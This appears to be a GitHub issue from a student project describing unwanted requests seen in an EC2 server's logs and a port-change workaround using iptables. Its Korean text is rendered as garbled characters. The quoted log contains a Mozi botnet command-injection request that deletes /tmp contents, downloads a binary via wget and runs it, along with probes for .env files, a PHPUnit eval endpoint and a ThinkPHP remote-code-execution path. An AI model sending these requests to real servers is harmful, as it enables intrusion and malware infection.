codestates / codestates/DDO_Jurimma
[๐ง Back-End Error] #3 / EC2 ์๋์น ์์ ์์ฒญ ์ฐจ๋จ / 2021-09-30
- Dominant language
- JavaScript
- Stars
- 4
- Forks
- 1
- PR merge metrics
- No merged PRs in 30d
Description
# ์ด๋ค ์๋ฌ์ธ๊ฐ์?
- ๋ฐฐํฌ ํ๊ฒฝ์์ EC2 ์๋ฒ ๋ก๊ทธ์ ์๋์น ์์ ์์ฒญ์ด ์ฐํ๊ฑธ ํ์ธ
# ์๋ฌ ๋ฉ์์ง
```cli
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms
POST /Autodiscover/Autodiscover.xml 404 0.214 ms - 10
GET /wp-content/plugins/wp-file-manager/readme.txt 404 0.228 ms - 10
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.205 ms - 10
POST /api/jsonws/invoke 404 0.168 ms - 10
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 404 0.199 ms - 10
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.210 ms - 10
GET /?XDEBUG_SESSION_START=phpstorm 200 0.221 ms - 12
POST /mifs/.;/services/LogService 404 0.217 ms - 10
GET /console/ 404 0.225 ms - 10
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms - 10
```
# ์๋ฌ ํธ๋ค๋ง ๋ฐฉ๋ฒ
- ํ๊ฒฝ ๋ณ์๋ก ์ค์ ํ๋ ์๋ฒ ํฌํธ์ธ 80์ ๋ณ๊ฒฝํ๋ค. EC2 ์ธ๋ฐ์ด๋ ๊ท์น์ ์๋ก์ด ํฌํธ๋ฅผ ์ถ๊ฐํ๊ณ , ์๋ฒ์ ํ๊ฒฝ ๋ณ์๋ฅผ ์๋ก ์ถ๊ฐํ ํฌํธ ๋ฒํธ๋ก ๋ณ๊ฒฝํ๋ค.
- CloudFront๋ 80๋ฒ ํฌํธ ์๋ต๋ง HTTPS ๋ก ๋ฐ๊ฟ์ฃผ๊ธฐ ๋๋ฌธ์, ์๋กญ๊ฒ ์ถ๊ฐํ ํฌํธ๋ฅผ 80๋ฒ ํฌํธ๋ก ํฌ์๋ฉ ์ํค๋ ๊ณผ์ ์ด ์ถ๊ฐ๋ก ํ์ํ๋ค.
```
sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port ๋ด๊ฐ ์ถ๊ฐํ ํฌํธ
```
# ์๋ฌ ํธ๋ค๋ง์ ์ํด ์ฐธ๊ณ ํ ๋ ํผ๋ฐ์ค ๋งํฌ
[์๊ณ ๋ผ์คํ ์ด์ธ ](https://github.com/codestates/agora-states/discussions/1567)
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.